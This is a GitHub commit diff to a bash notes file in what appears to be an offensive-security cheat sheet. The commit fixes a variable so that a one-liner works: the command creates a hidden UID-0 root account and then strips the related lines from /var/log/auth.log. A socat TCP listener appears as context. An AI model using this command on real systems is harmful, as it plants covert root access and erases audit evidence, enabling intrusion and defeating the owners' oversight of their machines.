Skip to content

Commit 030e203

Browse files
committed
fix passwd error
1 parent c269df3 commit 030e203

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

scripting/bash.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -130,7 +130,7 @@ socat readline TCP-LISTEN:1234
130130
**One line root useradd**
131131
It creates a new root user. You have to change some parameters.
132132
```bash
133-
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWORD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log
133+
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log
134134
```
135135

136136
Credits

0 commit comments

Comments
 (0)